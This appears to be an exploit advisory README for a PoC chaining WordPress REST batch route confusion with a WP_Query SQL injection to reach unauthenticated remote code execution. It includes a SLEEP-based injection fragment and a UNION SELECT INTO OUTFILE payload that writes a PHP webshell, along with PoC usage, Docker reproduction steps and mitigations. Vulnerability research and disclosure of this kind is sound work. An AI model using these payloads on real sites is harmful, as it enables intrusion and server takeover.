Share
## https://sploitus.com/exploit?id=3EBF671A-6ADD-50DE-8519-72D8FE4F829F
# WordPress REST API Batch Route Confusion + SQL Injection โ†’ RCE

> **Pre-authentication, unauthenticated, no plugins required.**
> Works against a stock WordPress install via the REST API batch endpoint.

| | |
|---|---|
| **CVE** | `CVE-2026-63030` (route confusion โ†’ RCE) + `CVE-2026-60137` (SQLi) |
| **GHSA** | [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) ยท [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) |
| **Discoverer** | Adam Kues โ€” Assetnote / Searchlight Cyber (dubbed **"wp2shell"**) |
| **Affected** | WordPress **6.9.0 โ€“ 6.9.4**, **7.0.0 โ€“ 7.0.1** (full RCE chain) ยท **6.8.0 โ€“ 6.8.5** (SQLi only) |
| **Patched** | **6.8.6**, **6.9.5**, **7.0.2**, **7.1-beta2** |
| **CVSS** | Critical (RCE chain) / Moderate (SQLi standalone) |
| **Researcher blog** |  |

---

## 1. Overview

Two bugs in WordPress core, chainable into **unauthenticated remote code
execution**:

1. **SQL injection** in `WP_Query` when `author__not_in` is a string
   rather than an array โ€” the `is_array()` sanitisation guard is skipped
   and the raw value is interpolated into a `NOT IN (...)` clause.
2. **Batch route confusion** in `WP_REST_Server::serve_batch_request_v1()`
   โ€” `WP_Error` sub-requests are pushed into `$validation[]` but not
   `$matches[]`, causing a +1 index shift. Sub-request *i* ends up being
   dispatched with sub-request *i+1*'s handler.

Neither bug alone is enough: the REST API sanitises `author_exclude`
(`type: array, items: integer`) before it reaches `WP_Query`, and the
batch endpoint rejects `GET` sub-requests (`enum: POST, PUT, PATCH,
DELETE`).  Chaining them through a **double confusion** bypasses both
defences and reaches the SQLi unauthenticated.

## 2. Root Causes

### 2.1 SQL injection โ€” `src/wp-includes/class-wp-query.php` (CVE-2026-60137)

Vulnerable (6.9.4):

```php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string โ†’ skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
```

When `author__not_in` is a string the `is_array()` branch is skipped;
`(array) "payload"` evaluates to `["payload"]`; `implode(',', ...)`
returns the raw string, which is interpolated straight into the SQL.

**Fix (6.9.5):** use `wp_parse_id_list()` which accepts any input shape
and returns a sanitised integer list.

### 2.2 Batch route confusion โ€” `src/wp-includes/rest-api/class-wp-rest-server.php` (CVE-2026-63030)

```php
// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // โŒ  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  โ€”  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // โ† off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
```

A single `WP_Error` sub-request (e.g. malformed path) at position 0
shifts every subsequent entry by one. Request *i* is then dispatched
with request *i+1*'s handler.

**Fix (6.9.5):** append `$matches[] = $single_request;` for the error
case as well. Additional hardening short-circuits `rest_api_loaded()` /
`serve_request()` while a dispatch is already in flight.

## 3. The Double-Confusion Chain

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  OUTER batch  (POST /wp-json/batch/v1)                              โ”‚
โ”‚                                                                     โ”‚
โ”‚  [0]  path = "http://"          โ†’ WP_Error, NOT in $matches         โ”‚
โ”‚  [1]  path = "/wp/v2/categories" โ†’ carries nested batch in body     โ”‚
โ”‚         body = { "name": "x",                                       โ”‚
โ”‚                   "requests": [ INNER_BATCH ] }                     โ”‚
โ”‚         Validated against categories โ†’ "requests" field untouched   โ”‚
โ”‚  [2]  path = "/batch/v1"        โ†’ batch handler โ†’ shifts onto [1]   โ”‚
โ”‚                                                                     โ”‚
โ”‚  Outer shift: request[1] dispatched with request[2]'s handler =     โ”‚
โ”‚  serve_batch_request_v1.  The batch endpoint has NO                 โ”‚
โ”‚  permission_callback โ†’ fires unauthenticated.  request[1]'s body    โ”‚
โ”‚  was validated against the *categories* route, so the nested        โ”‚
โ”‚  sub-requests were NEVER checked against the batch method enum โ†’    โ”‚
โ”‚  inner sub-requests may use GET.                                    โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  INNER batch  (processed inside serve_batch_request_v1)             โ”‚
โ”‚                                                                     โ”‚
โ”‚  [0]  path = "http://"          โ†’ WP_Error, NOT in $matches         โ”‚
โ”‚  [1]  GET /wp/v2/categories                                      โ”‚
โ”‚         ?author_exclude=                             โ”‚
โ”‚       Validated against categories โ†’ author_exclude NOT sanitised   โ”‚
โ”‚  [2]  GET /wp/v2/posts          โ†’ get_items handler โ†’ shifts to [1]โ”‚
โ”‚                                                                     โ”‚
โ”‚  Inner shift: inner[1] dispatched with inner[2]'s handler =        โ”‚
โ”‚  WP_REST_Posts_Controller::get_items.  The unsanitised string       โ”‚
โ”‚  author_exclude is mapped to author__not_in and passed to           โ”‚
โ”‚  WP_Query  โ†’  SQL INJECTION.                                        โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

The resulting SQL fragment is:

```sql
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
```

`SLEEP(N)` fires once per matching post row, so the total delay is
roughly `N ร— ` seconds.

### From SQLi to RCE ("wp2shell")

The SELECT-only injection (no stacked queries, `$wpdb` uses
`mysqli_query`) still yields RCE on typical LAMP stacks when the MySQL
user has `FILE` privilege โ€” which is the default on many shared hosters
and self-managed servers:

```sql
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
```

writes a PHP webshell into the web root, reachable at `/x.php`.

Alternative paths (no `FILE` privilege needed) include reading the
admin password hash via UNION/boolean blind SQLi and uploading a
malicious plugin through the authenticated admin UI.

## 4. Detection / PoC

```
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]
```

The PoC performs **two non-destructive tests**:

| Test | Method | Safe? |
|------|--------|-------|
| **Route confusion** (CVE-2026-63030) | Structural โ€” verifies inner request[1] (categories) is dispatched with the posts handler by checking the response body for post-only fields | Yes |
| **SQLi** (CVE-2026-60137) | Time-based blind โ€” injects `SLEEP(N)` via `author_exclude` and measures latency vs. a benign baseline | Yes |

```bash
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
```

Example output against a vulnerable 6.9.4 instance:

```
[+] CONFIRMED โ€” inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (ฮ” +9.02s)
[+] VULNERABLE โ€” response delayed by 9.0s (โ‰ˆ 3 post row(s) ร— SLEEP(3)).
```

No delay / no structural confusion โ‡’ patched (6.8.6 / 6.9.5 / 7.0.2).

### Requirements

- Python โ‰ฅ 3.9
- `requests`  (`pip install requests`)

## 5. Reproducing

The easiest way to reproduce is with the official Docker images (the
auto-updater will have patched most live instances within hours of
disclosure):

```bash
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode admin_email=admin@example.com \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
```

For the INTO OUTFILE โ†’ RCE step, grant `FILE` privilege and ensure the
DB process can write to the web root (single-server LAMP, or a shared
volume in Docker):

```sql
GRANT FILE ON *.* TO 'wp'@'%';
```

## 6. Mitigation

1. **Update immediately** to **6.8.6 / 6.9.5 / 7.0.2** (or newer).
   WordPress auto-applies minor/security releases by default
   (`WP_AUTO_UPDATE_CORE`), so most live sites are already patched.
2. If you cannot update right now, block anonymous access to the batch
   endpoint at the WAF / reverse-proxy level:
   - `POST /wp-json/batch/v1`
   - `POST /index.php?rest_route=/batch/v1`
3. Revoke `FILE` privilege from the WordPress DB user:
   ```sql
   REVOKE FILE ON *.* FROM 'wp_user'@'%';
   ```
4. Ensure `secure_file_priv` is set (not empty):
   ```ini
   secure_file_priv = /var/lib/mysql-files
   ```

## 7. Timeline

| Date | Event |
|------|-------|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 released |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf published |
| 2026-07-17 | Assetnote / Searchlight Cyber publishes "wp2shell" advisory +  checker |

## 8. References

- WordPress advisories
  - 
  - 
- Discoverer write-up
  - 
- Patch diff (6.9.4 โ†’ 6.9.5)
  - `src/wp-includes/class-wp-query.php`
  - `src/wp-includes/rest-api.php`
  - `src/wp-includes/rest-api/class-wp-rest-server.php`
- Checker site
  - 

## 9. Responsible Disclosure

This repository contains only a **detection** PoC โ€” it uses time-based
blind SQLi and structural response inspection. It does **not** extract
data, write files, or attempt RCE. The vulnerability was already patched
and publicly disclosed by WordPress and the original researcher before
this code was published.

**Use only against systems you own or are authorised to test.**

## Licence

MIT โ€” see `LICENSE`.